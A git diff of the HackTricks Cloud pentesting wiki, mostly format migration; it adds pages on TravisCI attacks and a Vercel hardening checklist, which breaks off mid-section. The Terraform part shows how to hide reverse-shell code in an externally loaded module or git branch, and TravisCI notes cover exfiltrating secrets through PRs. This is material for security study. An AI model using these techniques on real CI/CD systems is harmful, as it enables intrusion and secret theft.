-* Set the upload file size limit (default is 50MB)
-* The S3 connection is given with a URL like: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
-* It's possible to **request S3 access key** that are formed by an `access key ID` (e.g. `a37d96544d82ba90057e0e06131d0a7b`) and a `secret access key` (e.g. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
+- Set the upload file size limit (default is 50MB)
+- The S3 connection is given with a URL like: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
+- It's possible to **request S3 access key** that are formed by an `access key ID` (e.g. `a37d96544d82ba90057e0e06131d0a7b`) and a `secret access key` (e.g. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
 
 ## Edge Functions
 
 It's possible to **store secrets** in supabase also which will be **accessible by edge functions** (the can be created and deleted from the web, but it's not possible to access their value directly).
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../banners/hacktricks-training.md}}
diff --git a/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md
similarity index 72%
rename from pentesting-ci-cd/terraform-security.md
rename to src/pentesting-ci-cd/terraform-security.md
index 5cf8b2650..9f7047a30 100644
--- a/pentesting-ci-cd/terraform-security.md
+++ b/src/pentesting-ci-cd/terraform-security.md
@@ -1,19 +1,6 @@
 # Terraform Security
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../banners/hacktricks-training.md}}
 
 ## Basic Information
 
@@ -25,17 +12,17 @@ HashiCorp Terraform is an **infrastructure as code tool** that lets you define b
 
 Terraform creates and manages resources on cloud platforms and other services through their application programming interfaces (APIs). Providers enable Terraform to work with virtually any platform or service with an accessible API.
 
-![](<../.gitbook/assets/image (177).png>)
+![](<../images/image (177).png>)
 
 HashiCorp and the Terraform community have already written **more than 1700 providers** to manage thousands of different types of resources and services, and this number continues to grow. You can find all publicly available providers on the [Terraform Registry](https://registry.terraform.io/), including Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, and many more.
 
 The core Terraform workflow consists of three stages:
 
-* **Write:** You define resources, which may be across multiple cloud providers and services. For example, you might create a configuration to deploy an application on virtual machines in a Virtual Private Cloud (VPC) network with security groups and a load balancer.
-* **Plan:** Terraform creates an execution plan describing the infrastructure it will create, update, or destroy based on the existing infrastructure and your configuration.
-* **Apply:** On approval, Terraform performs the proposed operations in the correct order, respecting any resource dependencies. For example, if you update the properties of a VPC and change the number of virtual machines in that VPC, Terraform will recreate the VPC before scaling the virtual machines.
+- **Write:** You define resources, which may be across multiple cloud providers and services. For example, you might create a configuration to deploy an application on virtual machines in a Virtual Private Cloud (VPC) network with security groups and a load balancer.
+- **Plan:** Terraform creates an execution plan describing the infrastructure it will create, update, or destroy based on the existing infrastructure and your configuration.
+- **Apply:** On approval, Terraform performs the proposed operations in the correct order, respecting any resource dependencies. For example, if you update the properties of a VPC and change the number of virtual machines in that VPC, Terraform will recreate the VPC before scaling the virtual machines.
 
-![](<../.gitbook/assets/image (215).png>)
+![](<../images/image (215).png>)
 
 ### Terraform Lab
 
@@ -53,9 +40,9 @@ The main way for an attacker to be able to compromise the system where terraform
 
 Actually, there are solutions out there that **execute terraform plan/apply automatically after a PR** is created, such as **Atlantis**:
 
-{% content-ref url="atlantis-security.md" %}
-[atlantis-security.md](atlantis-security.md)
-{% endcontent-ref %}
+{{#ref}}
+atlantis-security.md
+{{#endref}}
 
 If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed `terraform plan` or `terraform apply`.
 
@@ -100,7 +87,7 @@ You can find an example in [https://github.com/rung/terraform-provider-cmdexec](
 
 Both mentioned options are useful but not very stealthy (the second is more stealthy but more complex than the first one). You can perform this attack even in a **stealthier way**, by following this suggestions:
 
-* Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
+- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
 
 ```javascript
 module "not_rev_shell" {
@@ -108,9 +95,9 @@ module "not_rev_shell" {
 }
 ```
 
-You can find the rev shell code in [https://github.com/carlospolop/terraform\_external\_module\_rev\_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
+You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
 
-* In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
+- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
 
 ### Terraform Apply
 
@@ -223,12 +210,12 @@ data "external" "example" {
 
 Snyk offers a comprehensive Infrastructure as Code (IaC) scanning solution that detects vulnerabilities and misconfigurations in Terraform, CloudFormation, Kubernetes, and other IaC formats.
 
-* **Features:**
-  * Real-time scanning for security vulnerabilities and compliance issues.
-  * Integration with version control systems (GitHub, GitLab, Bitbucket).
-  * Automated fix pull requests.
-  * Detailed remediation advice.
-* **Sign Up:** Create an account on [Snyk](https://snyk.io/).
+- **Features:**
+  - Real-time scanning for security vulnerabilities and compliance issues.
+  - Integration with version control systems (GitHub, GitLab, Bitbucket).
+  - Automated fix pull requests.
+  - Detailed remediation advice.
+- **Sign Up:** Create an account on [Snyk](https://snyk.io/).
 
 ```bash
 brew tap snyk/tap
@@ -254,16 +241,15 @@ checkov -d /path/to/folder
 
 From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is a lightweight, security and compliance focused test framework against terraform to enable negative testing capability for your infrastructure-as-code.
 
-* **compliance:** Ensure the implemented code is following security standards, your own custom standards
-* **behaviour driven development:** We have BDD for nearly everything, why not for IaC ?
-* **portable:** just install it from `pip` or run it via `docker`. See [Installation](https://terraform-compliance.com/pages/installation/)
-* **pre-deploy:** it validates your code before it is deployed
-* **easy to integrate:** it can run in your pipeline (or in git hooks) to ensure all deployments are validated.
-* **segregation of duty:** you can keep your tests in a different repository where a separate team is responsible.
+- **compliance:** Ensure the implemented code is following security standards, your own custom standards
+- **behaviour driven development:** We have BDD for nearly everything, why not for IaC ?
+- **portable:** just install it from `pip` or run it via `docker`. See [Installation](https://terraform-compliance.com/pages/installation/)
+- **pre-deploy:** it validates your code before it is deployed
+- **easy to integrate:** it can run in your pipeline (or in git hooks) to ensure all deployments are validated.
+- **segregation of duty:** you can keep your tests in a different repository where a separate team is responsible.
 
-{% hint style="info" %}
-Unfortunately if the code is using some providers you don't have access to you won't be able to perform the `terraform plan` and run this tool.
-{% endhint %}
+> [!NOTE]
+> Unfortunately if the code is using some providers you don't have access to you won't be able to perform the `terraform plan` and run this tool.
 
 ```bash
 pip install terraform-compliance
@@ -275,17 +261,17 @@ terraform-compliance -f /path/to/folder
 
 From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec uses static analysis of your terraform code to spot potential misconfigurations.
 
-* ☁️ Checks for misconfigurations across all major (and some minor) cloud providers
-* ⛔ Hundreds of built-in rules
-* 🪆 Scans modules (local and remote)
-* ➕ Evaluates HCL expressions as well as literal values
-* ↪️ Evaluates Terraform functions e.g. `concat()`
-* 🔗 Evaluates relationships between Terraform resources
-* 🧰 Compatible with the Terraform CDK
-* 🙅 Applies (and embellishes) user-defined Rego policies
-* 📃 Supports multiple output formats: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
-* 🛠️ Configurable (via CLI flags and/or config file)
-* ⚡ Very fast, capable of quickly scanning huge repositories
+- ☁️ Checks for misconfigurations across all major (and some minor) cloud providers
+- ⛔ Hundreds of built-in rules
+- 🪆 Scans modules (local and remote)
+- ➕ Evaluates HCL expressions as well as literal values
+- ↪️ Evaluates Terraform functions e.g. `concat()`
+- 🔗 Evaluates relationships between Terraform resources
+- 🧰 Compatible with the Terraform CDK
+- 🙅 Applies (and embellishes) user-defined Rego policies
+- 📃 Supports multiple output formats: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
+- 🛠️ Configurable (via CLI flags and/or config file)
+- ⚡ Very fast, capable of quickly scanning huge repositories
 
 ```bash
 brew install tfsec
@@ -306,11 +292,11 @@ docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
 
 From the [**docs**](https://github.com/tenable/terrascan): Terrascan is a static code analyzer for Infrastructure as Code. Terrascan allows you to:
 
-* Seamlessly scan infrastructure as code for misconfigurations.
-* Monitor provisioned cloud infrastructure for configuration changes that introduce posture drift, and enables reverting to a secure posture.
-* Detect security vulnerabilities and compliance violations.
-* Mitigate risks before provisioning cloud native infrastructure.
-* Offers flexibility to run locally or integrate with your CI\CD.
+- Seamlessly scan infrastructure as code for misconfigurations.
+- Monitor provisioned cloud infrastructure for configuration changes that introduce posture drift, and enables reverting to a secure posture.
+- Detect security vulnerabilities and compliance violations.
+- Mitigate risks before provisioning cloud native infrastructure.
+- Offers flexibility to run locally or integrate with your CI\CD.
 
 ```bash
 brew install terrascan
@@ -318,22 +304,9 @@ brew install terrascan
 
 ## References
 
-* [Atlantis Security](atlantis-security.md)
-* [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
-* [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
-* [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
+- [Atlantis Security](atlantis-security.md)
+- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
+- [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
+- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/todo.md b/src/pentesting-ci-cd/todo.md
new file mode 100644
index 000000000..7b1c48cfb
--- /dev/null
+++ b/src/pentesting-ci-cd/todo.md
@@ -0,0 +1,16 @@
+# TODO
+
+{{#include ../banners/hacktricks-training.md}}
+
+Github PRs are welcome explaining how to (ab)use those platforms from an attacker perspective
+
+- Drone
+- TeamCity
+- BuildKite
+- OctopusDeploy
+- Rancher
+- Mesosphere
+- Radicle
+- Any other CI/CD platform...
+
+{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md
new file mode 100644
index 000000000..93e22e2f4
--- /dev/null
+++ b/src/pentesting-ci-cd/travisci-security/README.md
@@ -0,0 +1,65 @@
+# TravisCI Security
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## What is TravisCI
+
+**Travis CI** is a **hosted** or on **premises** **continuous integration** service used to build and test software projects hosted on several **different git platform**.
+
+{{#ref}}
+basic-travisci-information.md
+{{#endref}}
+
+## Attacks
+
+### Triggers
+
+To launch an attack you first need to know how to trigger a build. By default TravisCI will **trigger a build on pushes and pull requests**:
+
+![](<../../images/image (145).png>)
+
+#### Cron Jobs
+
+If you have access to the web application you can **set crons to run the build**, this could be useful for persistence or to trigger a build:
+
+![](<../../images/image (243).png>)
+
+> [!NOTE]
+> It looks like It's not possible to set crons inside the `.travis.yml` according to [this](https://github.com/travis-ci/travis-ci/issues/9162).
+
+### Third Party PR
+
+TravisCI by default disables sharing env variables with PRs coming from third parties, but someone might enable it and then you could create PRs to the repo and exfiltrate the secrets:
+
+![](<../../images/image (208).png>)
+
+### Dumping Secrets
+
+As explained in the [**basic information**](basic-travisci-information.md) page, there are 2 types of secrets. **Environment Variables secrets** (which are listed in the web page) and **custom encrypted secrets**, which are stored inside the `.travis.yml` file as base64 (note that both as stored encrypted will end as env variables in the final machines).
+
+- To **enumerate secrets** configured as **Environment Variables** go to the **settings** of the **project** and check the list. However, note that all the project env variables set here will appear when triggering a build.
+- To enumerate the **custom encrypted secrets** the best you can do is to **check the `.travis.yml` file**.
+- To **enumerate encrypted files** you can check for **`.enc` files** in the repo, for lines similar to `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in the config file, or for **encrypted iv and keys** in the **Environment Variables** such as:
+
+![](<../../images/image (81).png>)
+
+### TODO:
+
+- Example build with reverse shell running on Windows/Mac/Linux
+- Example build leaking the env base64 encoded in the logs
+
+### TravisCI Enterprise
+
+If an attacker ends in an environment which uses **TravisCI enterprise** (more info about what this is in the [**basic information**](basic-travisci-information.md#travisci-enterprise)), he will be able to **trigger builds in the the Worker.** This means that an attacker will be able to move laterally to that server from which he could be able to:
+
+- escape to the host?
+- compromise kubernetes?
+- compromise other machines running in the same network?
+- compromise new cloud credentials?
+
+## References
+
+- [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/)
+- [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security)
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
similarity index 60%
rename from pentesting-ci-cd/travisci-security/basic-travisci-information.md
rename to src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
index 1b24db9bd..deba53bfa 100644
--- a/pentesting-ci-cd/travisci-security/basic-travisci-information.md
+++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
@@ -1,19 +1,6 @@
 # Basic TravisCI Information
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
 
 ## Access
 
@@ -21,9 +8,9 @@ TravisCI directly integrates with different git platforms such as Github, Bitbuc
 
 For example, in Github it will ask for the following permissions:
 
-* `user:email` (read-only)
-* `read:org` (read-only)
-* `repo`: Grants read and write access to code, commit statuses, collaborators, and deployment statuses for public and private repositories and organizations.
+- `user:email` (read-only)
+- `read:org` (read-only)
+- `repo`: Grants read and write access to code, commit statuses, collaborators, and deployment statuses for public and private repositories and organizations.
 
 ## Encrypted Secrets
 
@@ -31,7 +18,7 @@ For example, in Github it will ask for the following permissions:
 
 In TravisCI, as in other CI platforms, it's possible to **save at repo level secrets** that will be saved encrypted and be **decrypted and push in the environment variable** of the machine executing the build.
 
-![](<../../.gitbook/assets/image (203).png>)
+![](<../../images/image (203).png>)
 
 It's possible to indicate the **branches to which the secrets are going to be available** (by default all) and also if TravisCI **should hide its value** if it appears **in the logs** (by default it will).
 
@@ -48,7 +35,7 @@ travis pubkey -r carlospolop/t-ci-test
 
 Then, you can use this setup to **encrypt secrets and add them to your `.travis.yaml`**. The secrets will be **decrypted when the build is run** and accessible in the **environment variables**.
 
-![](<../../.gitbook/assets/image (139).png>)
+![](<../../images/image (139).png>)
 
 Note that the secrets encrypted this way won't appear listed in the environmental variables of the settings.
 
@@ -76,7 +63,7 @@ Commit all changes to your .travis.yml.
 
 Note that when encrypting a file 2 Env Variables will be configured inside the repo such as:
 
-![](<../../.gitbook/assets/image (170).png>)
+![](<../../images/image (170).png>)
 
 ## TravisCI Enterprise
 
@@ -100,19 +87,6 @@ Travis CI Enterprise is an **on-prem version of Travis CI**, which you can deplo
 
 The amount of deployed TCI Worker and build environment OS images will determine the total concurrent capacity of Travis CI Enterprise deployment in your infrastructure.
 
-![](<../../.gitbook/assets/image (199).png>)
+![](<../../images/image (199).png>)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md
new file mode 100644
index 000000000..b9a1deb16
--- /dev/null
+++ b/src/pentesting-ci-cd/vercel-security.md
@@ -0,0 +1,437 @@
+# Vercel
+
+{{#include ../banners/hacktricks-training.md}}
+
+## Basic Information
+
+In Vercel a **Team** is the complete **environment** that belongs a client and a **project** is an **application**.
+
+For a hardening review of **Vercel** you need to ask for a user with **Viewer role permission** or at least **Project viewer permission over the projects** to check (in case you only need to check the projects and not the Team configuration also).
+
+## Project Settings
+
+### General
+
+**Purpose:** Manage fundamental project settings such as project name, framework, and build configurations.
+
+#### Security Configurations:
+
+- **Transfer**
+  - **Misconfiguration:** Allows to transfer the project to another team
+  - **Risk:** An attacker could steal the project
+- **Delete Project**
+  - **Misconfiguration:** Allows to delete the project&#x20;
+  - **Risk:** Delete the prject
+
+---
+
+### Domains
+
+**Purpose:** Manage custom domains, DNS settings, and SSL configurations.
+
+#### Security Configurations:
+
+- **DNS Configuration Errors**
+  - **Misconfiguration:** Incorrect DNS records (A, CNAME) pointing to malicious servers.
+  - **Risk:** Domain hijacking, traffic interception, and phishing attacks.
+- **SSL/TLS Certificate Management**
+  - **Misconfiguration:** Using weak or expired SSL/TLS certificates.
+  - **Risk:** Vulnerable to man-in-the-middle (MITM) attacks, compromising data integrity and confidentiality.
+- **DNSSEC Implementation**
+  - **Misconfiguration:** Failing to enable DNSSEC or incorrect DNSSEC settings.
+  - **Risk:** Increased susceptibility to DNS spoofing and cache poisoning attacks.
+- **Environment used per domain**
+  - **Misconfiguration:** Change the environment used by the domain in production.
+  - **Risk:** Expose potential secrets or functionalities taht shouldn't be available in production.
+
+---
+
+### Environments
+
+**Purpose:** Define different environments (Development, Preview, Production) with specific settings and variables.
+
+#### Security Configurations:
+
+- **Environment Isolation**
+  - **Misconfiguration:** Sharing environment variables across environments.
+  - **Risk:** Leakage of production secrets into development or preview environments, increasing exposure.
+- **Access to Sensitive Environments**
+  - **Misconfiguration:** Allowing broad access to production environments.
+  - **Risk:** Unauthorized changes or access to live applications, leading to potential downtimes or data breaches.
+
+---
+
+### Environment Variables
+
+**Purpose:** Manage environment-specific variables and secrets used by the application.
+
+#### Security Configurations:
+
+- **Exposing Sensitive Variables**
+  - **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
+  - **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
+- **Sensitive disabled**
+  - **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
+  - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
+- **Shared Environment Variables**
+  - **Misconfiguration:** These are env variables set at Team level and could also contain sensitive information.
+  - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
+
+---
+
+### Git
+
+**Purpose:** Configure Git repository integrations, branch protections, and deployment triggers.
+
+#### Security Configurations:
+
+- **Ignored Build Step (TODO)**
+  - **Misconfiguration:** It looks like this option allows to configure a bash script/commands that will be executed when a new commit is pushed in Github, which could allow RCE.
+  - **Risk:** TBD
+
+---
+
+### Integrations
+
+**Purpose:** Connect third-party services and tools to enhance project functionalities.
+
+#### Security Configurations:
+
+- **Insecure Third-Party Integrations**
+  - **Misconfiguration:** Integrating with untrusted or insecure third-party services.
+  - **Risk:** Introduction of vulnerabilities, data leaks, or backdoors through compromised integrations.
+- **Over-Permissioned Integrations**
+  - **Misconfiguration:** Granting excessive permissions to integrated services.
+  - **Risk:** Unauthorized access to project resources, data manipulation, or service disruptions.
+- **Lack of Integration Monitoring**
+  - **Misconfiguration:** Failing to monitor and audit third-party integrations.
+  - **Risk:** Delayed detection of compromised integrations, increasing the potential impact of security breaches.
+
+---
+
+### Deployment Protection
+
+**Purpose:** Secure deployments through various protection mechanisms, controlling who can access and deploy to your environments.
+
+#### Security Configurations:
+
+**Vercel Authentication**
+
+- **Misconfiguration:** Disabling authentication or not enforcing team member checks.
+- **Risk:** Unauthorized users can access deployments, leading to data breaches or application misuse.
+
+**Protection Bypass for Automation**
+
+- **Misconfiguration:** Exposing the bypass secret publicly or using weak secrets.
+- **Risk:** Attackers can bypass deployment protections, accessing and manipulating protected deployments.
+
+**Shareable Links**
+
+- **Misconfiguration:** Sharing links indiscriminately or failing to revoke outdated links.
+- **Risk:** Unauthorized access to protected deployments, bypassing authentication and IP restrictions.
+
+**OPTIONS Allowlist**
+
+- **Misconfiguration:** Allowlisting overly broad paths or sensitive endpoints.
+- **Risk:** Attackers can exploit unprotected paths to perform unauthorized actions or bypass security checks.
+
+**Password Protection**
+
+- **Misconfiguration:** Using weak passwords or sharing them insecurely.
+- **Risk:** Unauthorized access to deployments if passwords are guessed or leaked.
+- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
+
+**Deployment Protection Exceptions**
+
+- **Misconfiguration:** Adding production or sensitive domains to the exception list inadvertently.
+- **Risk:** Exposure of critical deployments to the public, leading to data leaks or unauthorized access.
+- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
+
+**Trusted IPs**
+
+- **Misconfiguration:** Incorrectly specifying IP addresses or CIDR ranges.
+- **Risk:** Legitimate users being blocked or unauthorized IPs gaining access.
+- **Note:** Available on the **Enterprise** plan.
+
+---
+
+### Functions
+
+**Purpose:** Configure serverless functions, including runtime settings, memory allocation, and security policies.
+
+#### Security Configurations:
+
+- **Nothing**
+
+---
+
+### Data Cache
+
+**Purpose:** Manage caching strategies and settings to optimize performance and control data storage.
+
+#### Security Configurations:
+
+- **Purge Cache**
+  - **Misconfiguration:** It allows to delete all the cache.
+  - **Risk:** Unauthorized users deleting the cache leading to a potential DoS.
+
+---
+
+### Cron Jobs
+
+**Purpose:** Schedule automated tasks and scripts to run at specified intervals.
+
+#### Security Configurations:
+
+- **Disable Cron Job**
+  - **Misconfiguration:** It allows to disable cron jobs declared inside the code
+  - **Risk:** Potential interruption of the service (depending on what the cron jobs were meant for)
+
+---
+
+### Log Drains
+
+**Purpose:** Configure external logging services to capture and store application logs for monitoring and auditing.
+
+#### Security Configurations:
+
+- Nothing (managed from teams settings)
+
+---
+
+### Security
+
+**Purpose:** Central hub for various security-related settings affecting project access, source protection, and more.
+
+#### Security Configurations:
+
+**Build Logs and Source Protection**
+
+- **Misconfiguration:** Disabling protection or exposing `/logs` and `/src` paths publicly.
+- **Risk:** Unauthorized access to build logs and source code, leading to information leaks and potential exploitation of vulnerabilities.
+
+**Git Fork Protection**
+
+- **Misconfiguration:** Allowing unauthorized pull requests without proper reviews.
+- **Risk:** Malicious code can be merged into the codebase, introducing vulnerabilities or backdoors.
+
+**Secure Backend Access with OIDC Federation**
+
+- **Misconfiguration:** Incorrectly setting up OIDC parameters or using insecure issuer URLs.
+- **Risk:** Unauthorized access to backend services through flawed authentication flows.
+
+**Deployment Retention Policy**
+
+- **Misconfiguration:** Setting retention periods too short (losing deployment history) or too long (unnecessary data retention).
+- **Risk:** Inability to perform rollbacks when needed or increased risk of data exposure from old deployments.
+
+**Recently Deleted Deployments**
+
+- **Misconfiguration:** Not monitoring deleted deployments or relying solely on automated deletions.
+- **Risk:** Loss of critical deployment history, hindering audits and rollbacks.
+
+---
+
+### Advanced
+
+**Purpose:** Access to additional project settings for fine-tuning configurations and enhancing security.
+
+#### Security Configurations:
+
+**Directory Listing**
+
+- **Misconfiguration:** Enabling directory listing allows users to view directory contents without an index file.
+- **Risk:** Exposure of sensitive files, application structure, and potential entry points for attacks.
+
+---
+
+## Project Firewall
+
+### Firewall
+
+#### Security Configurations:
+
+**Enable Attack Challenge Mode**
+
+- **Misconfiguration:** Enabling this improves the defenses of the web application against DoS but at the cost of usability
+- **Risk:** Potential user experience problems.
+
+### Custom Rules & IP Blocking
+
+- **Misconfiguration:** Allows to unblock/block traffic
+- **Risk:** Potential DoS allowing malicious traffic or blocking benign traffic
+
+---
+
+## Project Deployment
+
+### Source
+
+- **Misconfiguration:** Allows access to read the complete source code of the application
+- **Risk:** Potential exposure of sensitive information
+
+### Skew Protection
+
+- **Misconfiguration:** This protection ensures the client and server application are always using the same version so there is no desynchronizations were the client uses a different version from the server and therefore they don't understand each other.
+- **Risk:** Disabling this (if enabled) could cause DoS problems in new deployments in the future
+
+---
+
+## Team Settings
+
+### General
+
+#### Security Configurations:
+
+- **Transfer**
+  - **Misconfiguration:** Allows to transfer all the projects to another team
+  - **Risk:** An attacker could steal the projects
+- **Delete Project**
+  - **Misconfiguration:** Allows to delete the team with all the projects&#x20;
+  - **Risk:** Delete the projects
+
+---
+
+### Billing
+
+#### Security Configurations:
+
+- **Speed Insights Cost Limit**
+  - **Misconfiguration:** An attacker could increase this number
+  - **Risk:** Increased costs
+
+---
+
+### Members
+
